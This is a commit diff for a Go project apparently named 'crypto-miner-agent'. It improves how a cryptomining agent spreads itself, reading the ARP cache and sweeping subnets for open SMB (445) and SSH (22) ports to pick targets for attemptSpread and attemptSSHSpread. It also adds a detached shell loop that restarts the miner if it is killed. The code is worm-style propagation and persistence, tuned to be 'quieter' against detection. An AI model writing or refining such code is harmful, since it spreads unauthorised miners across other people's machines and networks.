fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread
This commit is contained in:
105
agent/deploy/arp_unix.go
Normal file
105
agent/deploy/arp_unix.go
Normal file
@@ -0,0 +1,105 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// arpHosts returns IPv4 hosts in the ARP cache on the local subnets.
|
||||
// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running
|
||||
// `arp -n`. Returns nil if nothing useful is found (caller does full scan).
|
||||
func arpHosts() []string {
|
||||
hosts := arpFromProc()
|
||||
if len(hosts) == 0 {
|
||||
hosts = arpFromCmd()
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
// arpFromProc parses Linux's /proc/net/arp.
|
||||
// Format: IP address HW type Flags HW address Mask Device
|
||||
func arpFromProc() []string {
|
||||
f, err := os.Open("/proc/net/arp")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
scanner := bufio.NewScanner(f)
|
||||
for scanner.Scan() {
|
||||
fields := strings.Fields(scanner.Text())
|
||||
if len(fields) < 4 {
|
||||
continue // skip header
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil {
|
||||
continue
|
||||
}
|
||||
// Flags = 0x0 means incomplete — skip
|
||||
if fields[2] == "0x0" {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
sub := getSubnet(ipStr)
|
||||
if !subnets[sub] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
_ = scanner.Err()
|
||||
return hosts
|
||||
}
|
||||
|
||||
// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist.
|
||||
func arpFromCmd() []string {
|
||||
raw, err := exec.Command("arp", "-n").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
out := string(raw)
|
||||
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil || ip.IsLoopback() {
|
||||
continue
|
||||
}
|
||||
// arp -n marks incomplete entries as "(incomplete)"
|
||||
if strings.Contains(line, "incomplete") {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
sub := getSubnet(ipStr)
|
||||
if !subnets[sub] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
51
agent/deploy/arp_windows.go
Normal file
51
agent/deploy/arp_windows.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// arpHosts returns the list of IPv4 hosts currently in the OS ARP cache
|
||||
// that share a subnet with one of our local interfaces. These are machines
|
||||
// that have recently communicated on the LAN — a far smaller and more
|
||||
// targeted set than a blind /24 sweep.
|
||||
//
|
||||
// Falls back to nil (caller will do a full scan) on any error.
|
||||
func arpHosts() []string {
|
||||
out, err := exec.Command("arp", "-a").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
local := getLocalIPs()
|
||||
subnets := make(map[string]bool)
|
||||
for _, ip := range local {
|
||||
subnets[getSubnet(ip)] = true
|
||||
}
|
||||
|
||||
var hosts []string
|
||||
seen := make(map[string]bool)
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
// arp -a lines look like:
|
||||
// 192.168.1.1 00-11-22-33-44-55 dynamic
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
ip := net.ParseIP(fields[0])
|
||||
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
|
||||
continue
|
||||
}
|
||||
ipStr := ip.To4().String()
|
||||
sub := getSubnet(ipStr)
|
||||
if !subnets[sub] || seen[ipStr] {
|
||||
continue
|
||||
}
|
||||
seen[ipStr] = true
|
||||
hosts = append(hosts, ipStr)
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
// ARP-first: only probe hosts the OS has recently spoken to.
|
||||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
||||
targets := arpHosts()
|
||||
|
||||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
||||
// machines with SMB open so we still reach previously-unseen machines.
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }() // release slot when done
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
// Quick port check — only bother with machines that have :445 open
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSpread(cfg, t)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
|
||||
func getLocalIPs() []string {
|
||||
|
||||
@@ -46,24 +46,51 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
|
||||
// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
|
||||
targets := arpHosts()
|
||||
|
||||
// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{} // acquire slot
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
|
||||
if connErr == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSSHSpread(cfg, t, exePath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
|
||||
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
|
||||
@@ -11,20 +11,27 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
|
||||
// launchProcessGuard spawns a detached shell loop that watches for the installed
|
||||
// miner and restarts it on crash (Unix — Linux + macOS).
|
||||
//
|
||||
// Uses `pgrep -f` with the full binary path rather than `-x` (exact process-name
|
||||
// match), which is unreliable on Linux where /proc truncates names to 15 chars.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bin := filepath.Join(installDir, BinaryName(cfg))
|
||||
procName := strings.TrimSuffix(BinaryName(cfg), "")
|
||||
|
||||
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
|
||||
// Escape single-quotes in path (edge case for unusual install dirs).
|
||||
safebin := strings.ReplaceAll(bin, "'", "'\\''")
|
||||
|
||||
// Loop every 60 s. If pgrep can't find any process whose command line
|
||||
// contains the full binary path, and the binary still exists, restart it.
|
||||
script := fmt.Sprintf(
|
||||
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
|
||||
procName, bin, bin,
|
||||
`while true; do sleep 60; pgrep -f '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
|
||||
safebin, safebin, safebin,
|
||||
)
|
||||
cmd := exec.Command("sh", "-c", script)
|
||||
_ = cmd.Start()
|
||||
|
||||
Reference in New Issue
Block a user